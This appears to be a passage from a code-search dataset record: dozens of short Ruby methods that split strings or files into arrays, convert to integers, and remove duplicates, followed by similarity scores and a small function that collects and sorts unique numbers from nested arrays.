"def lines\n escaped = value.to_s.scan(/(\\\\n|\\\\t|\\\\r)/)\n escaped.empty? ? value.to_s.split(/\\n/, -1) : [value.to_s]\n end",
"def read_full_matrix(str)\n data = []\n CSV.parse(str) do |row|\n data << row.map{|e|e.to_i}\n end\n data\n end",
"def toptag2array(str)\n sep = \"\\001\"\n str.gsub(/\\n([A-Za-z\\/\\*])/, \"\\n#{sep}\\\\1\").split(sep)\n end",
"def string_to_array\r\n @input.chars.map {|e| e.to_i}\r\n end",
"def parse_coordinate_data(input_string)\n # extract substrings matching ( int , int ) into an array, ignoring whitespace\n coords_string = input_string.scan(@coords_regex)\n\n #if nothing matches then return an empty array\n if coords_string == nil\n return []\n end\n\n # remove the brackets, split the coordinate strings, convert to integers, leave as array of arrays\n coords_array = coords_string.map do |a|\n b = a.gsub(/[()]/, \"\")\n c = b.split(/,\\s*/)\n x, y = c.map { |x| x.to_i}\n end\n\n @logger.info coords_array\n\n # check here that the coordinates in the array don't exceed the grid dimensions ever\n coords_array.each do |a|\n if a[0] > @grid_dimensions[0] || a[0] < 0\n raise ArgumentError, \"x-coord exceeds grid size. Destination: #{a} in grid #{@grid_dimensions}\"\n end\n\n if a[1] > @grid_dimensions[1] || a[1] < 0\n raise ArgumentError, \"y-coord exceeds grid size. Destination: #{a} in grid #{@grid_dimensions}\"\n end\n end\n end",
"def add_row(numbers)\n row = []\n row.push(numbers.split(\" \").map!{|j| j.to_i})\n row.flatten!\n @arr << row \nend",
"def split_lines(input)\n return input.split(/[ ]*[\\.\\n]+[ ]*/)\n end",
"def populate(lines)\n\t\ti = 1\n\t\t@matrix.each_index do |x|\n\t\t\t# split each line into an array of integers and map to a 2 dimensional array\n\t\t\t@matrix[x] = lines[i].split(' ').map(&:to_i)\n\t\t\ti+=1\t\n\t\tend\t\n\tend",
"def lines\n return [] unless @value && text\n\n text.split(/\\r\\n|\\r|\\n/)\n end",
"def my_array_splitting_method(source)\n integer_array = Array.new\n string_array = Array.new\n \n source.each do |piece|\n if piece.is_a?(Integer)\n integer_array << piece\n else\n string_array << piece\n end\n end\n master_array = integer_array,string_array\n return master_array\nend",
"def convert\n @text\n .split(\"\\n\\n\")\n .map { |line| decode_digits(parse_line(line)) }\n .join(',')\n end",
"def input_as_array\n array = number.split('')\n\n return array.collect! { |x| x.to_i }\n end",
"def read_numbers(numeric_file)\r\n numbers = []\r\n File.open(numeric_file).each do |line|\r\n if !(line.nil?)\r\n numbers.concat(line.chomp.split(\" \").map{|item| item.to_i})\r\n end\r\n end\r\n return numbers\r\nend",
"def parse_to_grid(contents, delimiter)\n contents_grid = []\n contents.each_line do |line|\n contents_grid << parse_line(line, delimiter) unless line.strip == ''\n end\n contents_grid\n end",
"def parse_line(delim , line)\n temp_array = Array.new #Array to hold data\n index = 0 #Position of array index\n token = \"\" #To hold the string\n grouping = false #Grouping characters flag\n\n #Parse line with delimeter\n line.each_char do |char|\n #Grouping Block \n if char == \"\\\"\" and !grouping\n token += char\n grouping = true\n elsif char == \"\\\"\" and grouping \n token += char\n grouping = false\n elsif char == delim and !grouping \n temp_array.push(clean(token)) \n token = \"\" \n else\n token += char\n end\n end \n \n #Store last token on line\n temp_array.push(clean(token))\n \n return temp_array\nend",
"def parse_to_grid(contents, delimiter)\n contents_grid = []\n contents.each_line do |line|\n contents_grid << parse_line(line, delimiter) unless line.strip == \"\"\n end\n contents_grid\n end",
"def parse(input)\n input.split(\"\\n\").map do |line|\n from, to = line.split('/')\n [from.to_i, to.to_i]\n end\nend",
"def read_matrix\n file = File.open(\"matrix.txt\", \"r\")\n matrix = []\n line = \"\"\n\n while line = file.gets\n matrix << line.split.map { |i| i.to_i }\n end\n matrix\nend",
"def parse_array(parse_scalar_or_range)\n args[:list] = true\n str = clean_param(leave_slashes: true)\n return args[:default] if str.blank?\n\n result = []\n while (match = str.match(/^((\\\\.|[^\\\\,]+)+),/))\n str = match.post_match\n @val = match[1]\n result << send(parse_scalar_or_range)\n end\n @val = str\n result << send(parse_scalar_or_range)\n end",
"def parse_input(input)\n lines = input.lines.map(&:chomp)\n $n = lines.shift.to_i\n if $n <= 0\n abort \"ERROR: Wrong node number: #{$n}\"\n end\n number_of_lines = $n*($n-1)/2\n if $n*($n-1)/2 != lines.size\n abort \"ERROR: Wrong number of lines: #{lines.size} for #{$n} nodes, should be #{number_of_lines}\"\n end\n matrix = Array.new($n+1) { Array.new($n+1) { 0 } }\n matrix[0] = [0] + (0...$n).to_a\n\n for i in 0...$n\n matrix[i+1][0] = i\n end\n\n lines.each do |line|\n tmp = line.split(\" \").map{ |q| q.to_f }\n matrix[tmp[0]+1][tmp[1]+1] = tmp[2]\n matrix[tmp[1]+1][tmp[0]+1] = tmp[2]\n end\n matrix\nend",
"def formatAnswerFromArray( answerString )\n answerRows = answerString.split(\"~\")\n answerArr = Array.new()\n answerRows.each { |ans|\n row = \"\"\n ansarr = ans.split(\",\")\n ansarr.each { |a|\n row += a unless a == \",\"\n }\n answerArr.push(row)\n } \n answerArr\n end",
"def parsed_file\n data.split(\"\\n\").map do |line|\n line.split(' ')\n end\n end",
"def make_pyramid_array(str)\n str.split(\"\\n\").map { |line| line.split(' ').map { |ch| ch.to_i } }.reverse\nend",
"def resume_to_array(text)\n result = text\n result.gsub!(\",\",\"\")\n result.gsub!(\"(\",\"\")\n result.gsub!(\")\",\"\")\n result.gsub!(\"[\",\"\")\n result.gsub!(\"]\",\"\")\n result.downcase!\n return result.split\nend",
"def board_to_array(board_string)\n return board_string.split(\"\").map! { |value| value.to_i }\n\nend",
"def extract_multiple_numbers(str)\n return [] if str == '' || str.nil?\n str.scan(STDNUMPAT_MULTIPLE).flatten.map{ |i| i.gsub(/\\-/, '').upcase }\n end",
"def lines\n escaped = content.scan(/(\\\\n|\\\\t|\\\\r)/)\n escaped.empty? ? content.split(/\\n/, -1) : [content]\n end",
"def number2array(n) # return an array represents a complex number\n x = n.split('')\nend",
"def get_lines(string)\n result = Array.new\n lines = string.split('[]')\n unless lines.first == \"LEDES1998B\"\n set_error_message(\"First line of Ledes file is not \\\"LEDES1992B[]\\\" #{lines.first}\")\n else\n # delete the first line since it is correct and we don't need it anymore\n lines.delete_at(0) \n end\n lines.delete(lines.last) if lines.last.blank? # sometimes we get a blank line at the end\n @header = lines.first\n # build ledes_line objects \n build_line_item_array lines\n end",
"def lines\n text.split(/(?<=[\\n\\f])/)\n end",
"def format_multiline(text)\n Array.wrap(text).flat_map { |s| s.to_s.split(/ *[;\\n] */) }.compact_blank!\n end",
"def read_array\n vals = []\n while @tokenizer.more?\n vals.push(@tokenizer.next_token)\n sep = @tokenizer.next_token\n return vals if sep == ')'\n raise \"missing ',' in 'in' list of values: #{@tokenizer.sql}\" unless sep == ','\n end\n raise \"missing ')' at end of 'in' list of values: #{@tokenizer.sql}\"\n end",
"def parse_line(line)\n return [] if line.nil? or line.empty?\n line.chomp(\"\\n\").split(\"\\t\")\n end",
"def file_into_array(array)\r\n integer_unsorted_array = []\r\n\r\n array.each do |line|\r\n integer_unsorted_array << line.strip.to_i\r\n end\r\n\r\n integer_unsorted_array\r\n end",
"def split_lines\n text.split(/\\n/)\n end",
"def list\n line = peek.line\n col = peek.column\n\n return unless match(:'[')\n\n items = []\n\n while (item = expr)\n items << item\n end\n\n expect(:']')\n\n Apparat::Byte::List.new(items, line, col)\n end",
"def input\n list = []\n while (true)\n # read 2 integers\n # also throw away the EOL, to prepare for the next line of text\n counts = gets.split.map(&:to_i)\n line_count = counts[0]\n column_count = counts[1]\n\n # end of input\n if (line_count == 0 || column_count == 0)\n break;\n else\n lines = []\n # read the next line_count lines\n line_count.times do\n lines << gets.chomp!\n end\n\n # create and retain a input_t of lines\n list << PaddedField.new(lines)\n end\n end\n\n list\nend",
"def file_to_array file\n lines = []\n File.open(file, \"r\") do |infile|\n while (line = infile.gets)\n lines.push(line.gsub(\"\\n\", \"\").rstrip)\n end\n end\n lines\n end",
"def process_line(line)\n line.split ' '\n end",
"def string_to_array(string)\n string.split(\" \")\nend",
"def string_to_array(string)\n string.split(\" \")\nend",
"def node_to_ary(node)\n node.to_s.split(\"\\n\")\n end",
"def records_array(lines)\n lines.map { |line| collect_line(line) }.select { |rate| rate[:rate_type] == :list }\n end",
"def to_number_array(string_array)\nstring_array.map(&:to_f)\nend",
"def get_braille_arrays\n string = braille_to_string\n lines = string.scan(/.{1,80}/)\n pairs = lines.map do |string|\n string.scan(/../)\n end\n end",
"def parse_line_data(line)\n line.strip.gsub('\"', '').split ' = '\n end",
"def numbers_array\n num_array = Array.new\n input_as_array.each { |n| num_array << get_number(n) }\n\n return num_array\n end",
"def parse_memory(lines)\n get_number(lines)\n end",
"def digit_list(int)\n #ex 12345\n arr = []\n int.to_s.split('').map do |x|\n arr << x.to_i\n end\n=begin\nORIGINAL LOGIC\nstring = int.to_s # => [\"12345\"]\narr_of_strings = string.split('') #=> [\"1\", \"2\", \"3\", \"4\", \"5\"]\narr_of_strings.map do |x|\n arr << x.to_i\nend\n=end\n p arr\nend",
"def r_a(data_cmd) \n data = r_d(data_cmd,false) \n if data != nil\n if data.include? \"\\n\" \n data = data.gsub(/\\r/,\"\").split(/\\n/)\n else \n data2 = Array.new\n data2[0] = data\n data = data2\n end\n end\n return data\nend",
"def parse_csv_file(delim, file_name) \n \n temp_array = Array.new #Create an array\n file = File.open(file_name, \"r\") #Open a file for reading\n \n \n #Iterate file, parse strings and store\n file.each_line do |line|\n temp_array.push(parse_line(delim, line))\n end\n\n #Close resource\n file.close\n \n return temp_array\nend",
"def s_to_i_array(string, sep = ',')\n result = [string[0..-1].gsub(/\\[|\\]/,'').split(sep).reject(&:blank?).collect! {|n| n.to_i}].flatten\n end",
"def to_array(version)\n version.split(/[.-]/).map do |x|\n if x =~ /\\A.*([0-9]+).*\\Z/\n $1.to_i\n else\n 0\n end\n end\nend",
"def parse(lines)\n lines\n .split(\"\\n\")\n .select { |line| line_filter(line) }\n .map { |line| scan_call(scan_line(line)) }\n end",
"def format_to_array(value)\n case value\n when Array then value\n when String then value.split(separator)\n else raise InvalidTagFormat\n end\n end",
"def rows_as_char_arrays(text)\n rows = text.split(\"\\n\")\n\n max_length = rows.map(&:length).max\n\n rows.map do |row|\n # add padding to fix row length if necessary\n row += ' ' * (max_length - row.length)\n row.chars\n end\n end",
"def read_input(file_name)\n file = File.open(file_name)\n input_data = file.read\n lines = 0\n data = []\n input_data.each_line do |line|\n i = Integer(line.chomp!)\n data << i\n end\n puts \"input_data length = #{input_data.length} lines = #{data.length}\"\n data\nend",
"def my_array_splitting_method(source)\n\n split_array = []\n array_1 = []\n array_2 = []\n\n source.each do | item |\n if item.is_a?(Integer)\n array_1.push(item)\n else\n array_2.push(item)\n end\n end\n\n split_array.push(array_1)\n split_array.push(array_2)\n\n return split_array\n\nend",
"def to_number_array(string_array)\n string_array.map(&:to_f)\nend",
"def load_from_pretty(str)\r\n @board = []\r\n \r\n str.each_line do |line|\r\n next unless line =~ /[\\d_]/\r\n @board << line.scan(/[\\d_]/).map {|n| Integer(n) rescue 0}\r\n fail \"Found a row with length #{@board.last.length}\" unless @board.last.length == 9\r\n end\r\n \r\n fail \"Expected 9 rows\" unless @board.length == 9\r\n end",
"def field_array(lines)\n entries = []\n text = lines.join\n text.scan(/^>.+<(.+)>\\n(.+\\n)+\\n/) do |name, data| \n entries << [name, data.chomp]\n end\n Hash[entries]\n end",
"def lines\n\t\tcontents.split(\"\\n\")\n\tend",
"def lines\n\t\tcontents.split(\"\\n\")\n\tend"
] |
[
"0.7214057",
"0.696559",
"0.6905479",
"0.67756516",
"0.67296475",
"0.6696657",
"0.65957826",
"0.6582713",
"0.634262",
"0.6280463",
"0.6275392",
"0.62730265",
"0.62306803",
"0.6170491",
"0.6166549",
"0.6105601",
"0.6071568",
"0.6052773",
"0.6039341",
"0.6004562",
"0.59593713",
"0.5900259",
"0.5897384",
"0.5876776",
"0.58745956",
"0.5829097",
"0.5790097",
"0.57858175",
"0.5780134",
"0.5779022",
"0.5775642",
"0.5775642",
"0.57713467",
"0.57605565",
"0.5727483",
"0.57113475",
"0.5710369",
"0.5707779",
"0.56809247",
"0.5671526",
"0.56706107",
"0.5670606",
"0.5647992",
"0.56365246",
"0.5628132",
"0.56168073",
"0.5589374",
"0.55772954",
"0.5561927",
"0.55512094",
"0.5550444",
"0.553474",
"0.5513097",
"0.551158",
"0.5494334",
"0.5492757",
"0.54692423",
"0.5458678",
"0.544942",
"0.54391366",
"0.54391265",
"0.5437556",
"0.5429066",
"0.54276323",
"0.54222524",
"0.5420299",
"0.5402208",
"0.538934",
"0.5377076",
"0.53701234",
"0.53601784",
"0.53501624",
"0.5345605",
"0.53420883",
"0.53406656",
"0.53278613",
"0.53278613",
"0.5321237",
"0.5318959",
"0.53177077",
"0.53133667",
"0.5310388",
"0.53091955",
"0.5303604",
"0.52989036",
"0.52988875",
"0.5281543",
"0.5279365",
"0.527523",
"0.52752006",
"0.52746814",
"0.52656555",
"0.52628356",
"0.52562135",
"0.524817",
"0.5246698",
"0.5241877",
"0.52408355",
"0.52408355"
] |
0.6984879
|
2
|
Extract unique numbers from multiline input and return a sorted array of those
|
def convert_to_sorted(arr_of_arr)
sorted = []
arr_of_arr.each {|arr| arr.each {|num| sorted.push(num) if !sorted.include?(num)}}
sorted.sort
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def array_to_unique\n a = File.readline(\"./tmp/database_doings/doing_phrases/phrases_to_sort.txt\")\n b = a.sort\n c = b.uniq\n while d = c.shift\n puts d unless nil?\n end\n end",
"def read_and_sort_unique_numbers_from_file(filename)\n fh = File.new(filename, 'r')\n\n numbers = Hash.new\n\n while line = fh.gets\n number = line.to_i\n numbers[number] = 1\n end\n fh.close\n\n return numbers.keys.sort\nend",
"def croissant\narray = []\n\nFile.open(\"./numbers.txt\", \"r\") do |file|\n\tfile.each_line { |line| array << line.delete!(\",\").to_i}\n\tarray.sort!.each { |nb| puts nb }\nend\nend",
"def array_to_unique\n a = File.readlines(file_name)\n b = a.sort\n c = b.uniq\n while d = c.shift\n puts d.to_textual unless nil?\n end\n end",
"def unique_in_order(x)\r\n a = (x.class == String ? x.chars : x ).chunk { |i| i }\r\n a.map{|a| a.first}\r\nend",
"def unique\n list = File.readlines(file_name)\n full_list = list.sort_by { |x| x.to_textual }\n #uniques = full_list.uniq\n uniques = full_list.uniq\n puts uniques\n end",
"def input(number_string)\n\t\tnumber_string = number_string.split(\" \").to_a.uniq!.sort!.map{|num| num.to_i}\n\t\tputs \"Uniqe Values: #{number_string}\"\n\tend",
"def unique(a)\n arr = a.split(//)\n split = []\n\n for i in 0...arr.size - 1\n if arr[i] != arr[i+1]\n split << i+1\n end\n end\n \n unique = []\n step = 0\n\n for i in 0..split.size - 1\n res = []\n for j in step...split[i]\n res << arr[j]\n step += 1\n end\n unique << res.uniq\n end\n \n reslust = unique.flatten << arr.last\n reslust\nend",
"def offbyonenumber(my_number, bash_numbers)\n\tcounter = 0\n\tx = 0\n\tarr1 = []\n\tmy_number.each do |num|\n\t\tbash_numbers.each do |bash|\n\t\t\tnum.length.times do\n\t\t\t\tif bash[x] == num[x]\n\t\t\t\t\t\tcounter += 1\n\t\t\t\t\tif counter == num.length - 1\n\t\t\t\t\t\tarr1<< num\n\t\t\t\t\t\tcounter = 0\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\t\tx += 1\n\t\t\tend\n\t\tend\n\tend\n\tarr1.uniq!\n\tp arr1\n\treturn arr1\nend",
"def unique_in_order(iterable)\n iterable = iterable.split('') if iterable.kind_of?(Array) === false\n nArr = []\n iterable.each_with_index do |x, index|\n if index === 0\n nArr.push(x)\n else\n nArr.push(x) if x != iterable[index - 1]\n end\n end\n p nArr\nend",
"def problem_79\n digits = []\n lines = open(\"keylog.txt\").reduce([]) do |a,l|\n a << l.chomp.split(//).map(&:to_i)\n end\n p = lines.transpose\n loop do \n first = (p[0] - p[1]).uniq\n if first.length == 1\n d = first[0]\n digits << d \n puts \"Remove #{d}\"\n # shift off leading 'd' values\n lines.select {|l| l[0] == d}.map {|l| l.shift; l.push nil }\n # Rebuild out first, second, third arrays\n p = lines.transpose\n return digits.map(&:to_s).join if p.flatten.compact.length == 0\n puts \"len = #{p.flatten.compact.length}\"\n else\n raise \"Trouble - 2 candidates : #{first.inspect}, rework algorithm\"\n end\n end\nend",
"def km_get_reacid(data)\n return data.map{|d| d.scan(/(?<r>R\\d{5})/)}.flatten.sort\nend",
"def unique_in_order(sequence)\n\ta = 0\n\tfinal_arr = []\n\twhile a < sequence.length\n\t\tfinal_arr << sequence[a]\n\t\tduplicate = sequence[a]\n\t\twhile duplicate == sequence[a]\n\t\t\tif sequence[a] == duplicate\n\t\t\t\ta += 1\n\t\t\tend\n\t\tend\n\tend\n\treturn final_arr\nend",
"def unique(numbers)\r\n output = []\r\n \r\n numbers.each do |num|\r\n if output.include?(num)\r\n\r\n else\r\n output.push(num)\r\n end\r\n end\r\n\r\n return output\r\nend",
"def un_unique\n list = File.readlines(file_name)\n full_list = list.sort_by { |x| x }\n full_list.uniq\n end",
"def uniq(arr)\n new_array = []\n arr = arr.sort\n arr.each_with_index do |num, idx|\n new_array << num if num != arr[idx + 1]\n end\n new_array\nend",
"def single_numbers\n text, ary = parse_text, [] \n until text.empty?\n top, mid, bot, blank = text.shift(4)\n ary.push(*top.zip(mid, bot).map(&:join)) \n ary.push(\",\") unless text.empty? # add comas when input entered on multiple lines\n end\n ary\n end",
"def unique_in_order(string)\n string.each_char.with_index.reduce([]) do |arr, (el, i)|\n if el == string.chars[i+1]\n arr\n else\n arr << el\n end\n end\nend",
"def missing_numbers(input)\n input.sort!\n p (input[0]..input[-1]).to_a - input\nend",
"def unique_in_order sequence\n new_array = []\n\n sequence.length.times do |value|\n new_array << sequence[value] if sequence[value] != sequence[value + 1]\n end\n new_array\nend",
"def file_into_array(array)\r\n integer_unsorted_array = []\r\n\r\n array.each do |line|\r\n integer_unsorted_array << line.strip.to_i\r\n end\r\n\r\n integer_unsorted_array\r\n end",
"def sort_nums_app\n\tputs \"ERROR: Please give a valid filename as an argument.\" if ARGV[0] == nil\n\tFile.readlines(ARGV[0]).each do |line|\n\t\tline.gsub!(\"\\n\", \"\") if line.include? \"\\n\"\n\t\tsort_nums(line.split(\" \")) unless line.split[0] == nil\n\tend\nend",
"def unique_in_order(obj)\n answer = []\n\n unless obj.is_a?(Array)\n obj = obj.split('')\n end\n\n obj.each {|e| answer << e if answer[-1] != e}\n answer\nend",
"def numUnique2 list\n current_num = list[0]\n unique_numbers = [list[0]]\n\n list.each do |num|\n if num != current_num\n current_num = num\n unique_numbers << num\n end\n end\n return \"**#{unique_numbers.length}**\"\nend",
"def unique_in_order(str)\n if str.is_a?(Array)\n str.chunk { |e| e }.map(&:first)\n else\n str.chars.chunk { |e| e }.map(&:first)\n end\nend",
"def get_unique_ddis(tags_file, output)\n ddis = []\n tags_file.each do |line|\n next if json_should_skip line\n\n hashed_line = JSON.parse(clean(line))\n\n ddis << hashed_line[\"ddi\"]\n end\n ddis.uniq.sort.each do |ddi|\n output << \"#{ddi}\\n\"\n end\nend",
"def get_arrays(line)\n pairs = line.chomp.split(',')\n arrys = pairs.map do |range|\n indeces = range.split('-').map(&:to_i)\n (indeces.first..indeces.last).to_a\n end\nend",
"def find_sequences(line)\n sequences = []\n\n (0..(line.length - 1)).each do |i|\n next if i + 1 > line.length - 4\n\n sub_line = line[i..i + 3]\n sequences << sub_line if sub_line == sub_line[/[a-zA-Z]+/]\n end\n\n sequences.uniq\n end",
"def uniq_ints()\n []\n end",
"def input_processing(multi_line)\n multi_line.split(\"\\n\").map {|nums| nums.split.map {|str| str.to_i}}\nend",
"def input_processing(multi_line)\n multi_line.split(\"\\n\").map {|nums| nums.split.map {|str| str.to_i}}\nend",
"def unique_in_order(iterable) \n# create an empty array\ncontent = []\n\n # check each letter/number of `iterable` \n for e in (0..iterable.length()-1) \n\n# compare current element to previous element\n# if array is empty\n if e == 0 or \n# \n# if current element is not the same with previous element, push current index to content array\n iterable[e] != iterable[e-1] \n content.push(iterable[e])\n end\n end\n# return new content array\n return content\nend",
"def min_unique(arr)\n arr.sort! #[1,2,2,3,7]\n uniq = []\n dups = []\n (arr.length ).times do |i|\n if arr[i] == arr[i+1]\n dups << arr[i]\n else \n uniq << arr[i]\n end \n end \n\n dups.each do |el|\n while uniq.include?(el)\n el+=1\n end \n uniq << el\n p uniq\n end \n p uniq.reduce(:+)\nend",
"def my_array_sorting_method(source)\n source.map {|i| i.to_s}.sort.uniq\nend",
"def unique_in_order(iterable)\n iterable = iterable.split('') if iterable.is_a?(String)\n iterable.select.with_index { |item, ii| item != iterable[ii-1] || ii == 0 }\nend",
"def three_numbers(str)\n digits = str.split.map { |word| word.scan(/\\d+/).sort_by(&:size) }\n digits.each do |set|\n if set.size == 2 && set.first.size == 1 && set.last.size == 2\n set[1], set[2] = set.last[0], set.last[1]\n end\n set.map!(&:to_i).uniq!\n return false unless set.size == 3\n end\n true\nend",
"def magic_array(long)\n\tless_long = long.flatten\n\treversed = less_long.reverse\n\t\n\teven_numbers = reversed.map{ |i| i * 2 }\n\t\n\tmultiple_three = even_numbers.delete_if {|m| m % 3 == 0}\n\t\n\tno_duplicate = multiple_three.uniq\n\n\tsorted = no_duplicate.sort\n\treturn sorted\n\nend",
"def number_shuffle(number)\n nums = \"#{number}\".split('')\n unique_nums = []\n (1..nums.length).inject(:*).times do\n loop do\n break if !unique_nums.include?(nums.shuffle!.join.to_i)\n end\n unique_nums << nums.join.to_i\n end\n return unique_nums.sort\nend",
"def uniqueSequences file\n\n seqIDs = {}\n printSeq = 1\n File.open(file,\"r\") do |f|\n while l = f.gets\n if l[0] == \">\"\n key = l.split(\"\\n\")[0].split(\" \")[0]\n if seqIDs.has_key? key\n printSeq = 0\n else\n seqIDs[\"#{key}\"] = 0\n printSeq = 1\n puts l\n end\n elsif printSeq == 1\n puts l\n end\n end\n end\n\n end",
"def remove_adjacent_duplicates(input)\n input.split(\",\").uniq\nend",
"def my_array_sorting_method(source)\n\treturn source.uniq.map{|element| element.to_s}.sort\nend",
"def unique(arr)\n var = \"\"\n output = [arr[0]]\n i = 1\n while i < arr.length\n j = 0\n var = \"\"\n while j < output.length\n if arr[i] != output[j]\n var = arr[i]\n j += 1\n else\n var = \"\"\n j += output.length\n end\n end\n if var != \"\"\n output << var\n end\n i += 1\n end\n return output\nend",
"def unique_in_order(iterable)\r\n iterable = iterable.class == String ? iterable.split('') : iterable\r\n iterable.select.with_index { |v,k| v != iterable[k+1] }\r\nend",
"def unique_in_order(iterable)\n p '--- Jan-10-2017 problem --- '\n arry = []\n iterable.each_char do |c|\n arry << c\n end\nend",
"def kp_get_modid(data)\n return data.map{|d| d.scan(/(?<m>M\\d{5})/)}.flatten.sort\nend",
"def unique(integers)\n # set variable arr to empty array where we will push duplicates\n arr = []\n\n # iterate through integers array and push integer to arr if integer not already included in arr\n integers.each { |i| arr << i if !arr.include?(i) }\n # return arr with duplicates removed\n arr\nend",
"def my_array_sorting_method(source)\n sortedArray = source.sort_by { |a| a.to_s }\n return sortedArray.uniq!\n end",
"def uniques(array)\n test_array=[]\n array.each do |i|\n if test_array.include?(i)==false\n test_array.push(i)\n else \n end\n end\n return test_array\nend",
"def repeated_number_ranges(arr)\n\n result = []\n arr.uniq.each do |x|\n temp = []\n arr.each_with_index do |y, i|\n temp << i if x == y\n end\n result << [temp[0], temp[-1]] if temp.length > 1\n end\n\n result\nend",
"def uniques(list)\n fa = []\n \n list.map do |n|\n while !(fa.include?(n))\n fa.push(n)\n end\n end\n \n #puts fa\n return fa\nend",
"def unique(integers)\n new_int = []\n \n \n integers.each do |val1|\n integers.each do |val2|\n if (val1 != val2 && (not (new_int.include?(val1))))\n new_int << val1\n end\n end\n \n end\n\n return new_int\nend",
"def using_uniq(array)\n\n \nend",
"def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend",
"def unique_sort(arr)\n\tp arr.uniq.sort\nend",
"def find_unique(numbers)\n numbers.reduce(:^)\nend",
"def single_number(nums)\n uniques = []\n nums.each do |num|\n uniques.include?(num) ? uniques.delete(num) : uniques << num\n end\n uniques\nend",
"def unique_in_order(iterable)\n iterable.is_a?(String) ? input_arr = iterable.chars : input_arr = iterable\n out_arr = []\n out_arr << input_arr[0]\n 1.upto(input_arr.size - 1) do |i|\n out_arr << input_arr[i] if input_arr[i-1] != input_arr[i]\n end\n out_arr = [] if (iterable == [] || iterable == '')\n return out_arr\n\n\n # # other solution 1:\n # (iterable.is_a?(String) ? iterable.chars : iterable).chunk { |x| x }.map(&:first)\n\n\n # # other solution 2:\n # it_array= []\n # iterable.length.times do |x|\n # it_array << iterable[x] if iterable[x] != iterable[x+1]\n # end\n # it_array\nend",
"def my_array_sorting_method(source)\n source.map{ |x| x.to_s }.sort.uniq\nend",
"def unique(integers)\narray = []\nintegers.map {|item| array << item unless array.include?(item)}\narray\nend",
"def validate_numeric_stdin(a)\n print \"\\n(use commas for multiple selections): \"\n nums = gets.chomp.split(\",\").select { |x| /\\d+/.match x }.uniq.map(&:to_i)\n nums.reject { |z| z >= a.size }\nend",
"def unique(integers)\n filteredIntegers = []\n for i in 0..integers.length - 1\n if !filteredIntegers.include? integers[i]\n filteredIntegers.push(integers[i])\n end\n end\n return filteredIntegers\nend",
"def my_array_sorting_method(source)\n source.map {|array_Element| array_Element.to_s}.sort.uniq\n end",
"def per_page_array\n per_page_string.gsub(/[^\\d,]/, '').\n split(',').uniq.\n sort { |a, b| a.to_i <=> b.to_i }\n end",
"def unique_in_order(iterable)\n if iterable.class == Array\n iterable.chunk{|n| n}.map(&:first)\n else\n iterable.squeeze.chars\n #itstring.split(\", \")\n end\nend",
"def unique(integers)\n\n\t@arrayb4 = integers.to_a\n\t@arrayafter = []\n\n\t@arrayb4.map { |x|\n\t\tif @arrayafter.include?(x) == false\n\t\t\t@arrayafter << x\n\t\tend\n\t}\n\n\treturn @arrayafter\n\nend",
"def unique_number(arr)\n existing_numbers = []\n not_unique = []\n arr.each do |entry|\n if existing_numbers[entry] === nil\n existing_numbers[entry] = true\n else\n not_unique[entry] = true\n end\n end\n arr.each do |entry|\n if not_unique[entry] == nil\n return entry\n end\n end\nend",
"def readRaw\n puts \"Reading raw data..\"\n # data = {uid => {iid => [hour1, hour2, ...]}}}\n data = {}\n while line = $stdin.gets do\n uid, iid, hour = line.chomp.split(',').map {|e| e.to_i}\n data[uid] = {} unless data.key?(uid)\n data[uid][iid] = [] unless data[uid].key?(iid)\n data[uid][iid] += [hour]\n end\n data.each_pair do |u, ihs|\n ihs.each_key {|i| ihs[i].uniq.sort}\n end\n return data\nend",
"def unique(integers)\n integers.to_set.to_a\nend",
"def analyze_data(lines_data)\n result = []\n orig_idx = (0 .. lines_data[0].size - 2).to_a\n data = lines_data.map do |a|\n x = []\n a.each {|y| x.push(y) }\n x\n end\n data.sort! {|a, b| a[0] <=> b[0] }\n\n while data.size > 1 && data[0][0] == data[1][0]\n result.push([data[0][-1], data[1][-1], orig_idx[0]])\n data.shift(2)\n data.each {|a| a.shift }\n orig_idx.shift\n data.sort! {|a, b| a[0] <=> b[0] }\n end\n\n data.sort! {|a, b| a[-2] <=> b[-2] }\n\n while data.size > 1 && data[-1][-2] == data[-2][-2]\n result.push([data[-2][-1], data[-1][-1], orig_idx[-1]])\n data.pop(2)\n data.each do |a|\n idx = a.pop\n a.pop\n a.push(idx)\n end\n orig_idx.pop\n data.sort! {|a, b| a[-2] <=> b[-2] }\n end\n\n result.push([data[0][-1], nil, orig_idx[0]])\n\n return result\nend",
"def non_unique_letters(string)\n new_arr = string.chars.select {|c| string.chars.count(c) > 1 }\n new_arr.delete(' ')\n new_arr.uniq!\n new_arr.sort!\n return new_arr\nend",
"def generate_unique_bst\n print 'Please enter the numbers in array separated by space :: '\n input_arr = gets.split(' ')\n input_arr.sort!\n unique_bst_arr = []\n generate_unique_bst_supp(unique_bst_arr, input_arr, 0, input_arr.length-1)\n unique_bst_arr.each do |node|\n puts node.inspect\n puts '***************'\n end\n nil\n end",
"def find_valid_numbers(fields)\n bounds = fields.map { |line| line.scan(/\\d+/).map(&:to_i) }\n valid_numbers = []\n bounds.each do |set|\n pair = []\n (0..set.length - 1).step(2) { |ind| pair += (set[ind]..set[ind + 1]).to_a }\n valid_numbers << pair\n end\n valid_numbers\n end",
"def my_array_sorting_method(source)\n num = source.grep(Fixnum)\n str = source.grep(String)\n return num.sort + str.sort\nend",
"def find_unique_elements (arr)\n n = Hash.new(0)\n return_array = []\n arr.each do |element|\n n[element] += 1\n end\n n.each_pair { |k,v| \n if v == 1\n return_array << k\n end\n }\n \n return return_array\nend",
"def test_removes_duplicates\n stream = FromArray.new([2, 2, 3, 4, 1, 1, 2, 5, 4, 3, 6])\n collected = stream.distinct.collect\n assert(collected == collected.uniq)\n assert(collected.length == collected.uniq.length)\n end",
"def read_int_array(lines)\n out = []\n lines.each do |line|\n values = line.scan(/\\d+/).flatten\n values.each do |value|\n out.push(value.to_i)\n end\n end\n return out\nend",
"def parse \n \n list = @email_list.split.map {|email| email.split(\",\")}\n list.flatten.uniq\n ##list.uniq\n \n end",
"def uniq_integer(input_array)\n unique = 0\n input_array.each do |num|\n unique = unique ^ num\n end\n\n unique\nend",
"def unique(integers)\n integers.reduce([]) do |collection,integer|\n !(collection.include? integer) ? collection.push(integer) : collection\n end\nend",
